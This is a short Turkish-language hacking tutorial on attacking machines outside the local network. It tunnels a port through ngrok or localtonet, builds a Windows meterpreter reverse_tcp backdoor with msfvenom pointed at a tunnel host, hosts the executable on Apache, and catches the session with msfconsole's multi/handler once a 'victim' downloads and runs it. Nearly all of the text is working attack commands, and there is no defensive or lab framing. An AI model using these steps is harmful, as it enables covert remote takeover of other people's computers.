Dış Ağlar

Tunneling Service

> 📌 Bu yöntemde ngrok kullanılmıştır.

- ngrok hesabı açılır,token terminalden etkinleştirilir.
- `./ngrok tcp 4242(port)` komutuyla çalıştırılır.
- Eğer ngrok çalışmıyorsa **localtonet** gibi alternatif bir site kullanılabilir.
- Aynı şekilde token işlemleri yapılır.

Localtonet Kurma

```
wget https://localtonet.com/download/localtonet-linux-x64.zip
unzip localtonet-linux-x64.zip
chmod 777 ./localtonet
./localtonet authtoken PASTE_HERE_COPIED_AUTHTOKEN
```

> Bu işlemler sırayla terminalde yapılır ve siteden token kopyalanıp eklenir.

- Ardından siteden tüne oluşturulur.
- **msfvenom** kullanarak terminalden backdoor oluşturulur.
- `msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform windows lhost:nvy5udsox.localto.net lport:2290 -f exe -o /root/newbackdoor.exe` komutu ile örneğin localtonet kullanılabilir.

- Oluşan backdoor dosyası ilgili klasöre taşınır:***var→www→backdoor***
- Devamında **msfconsole** kullanılır.

msfconsole işlemleri

- `use exploit/multi/handler` komutu çalıştırılır.
- `set PAYLOAD windows/meterpreter/reverse_tcp` komutu ile payload ayarlanır.
- **LHOST 0.0.0.0**,**LPORT ise sağlayıcının verdiği port**a göre ayarlanır.(4242 olabilir.)
- `exploit -j -z` komutuyla dinleme başlar.

Session oluşumu

- Kali web servisi çalıştırılır: `service apache2 start`
- Kurban makineden local ip'ye bağlanılır,10.0.2.4 gibi.
- Oradan backdoor dosyası indirilir ve çalıştırılır.
- Kali terminalde session oluşur.
- Böylelikle kurban bilgisayar hacklenmiş olur.

🖋Ömer Faruk Baysal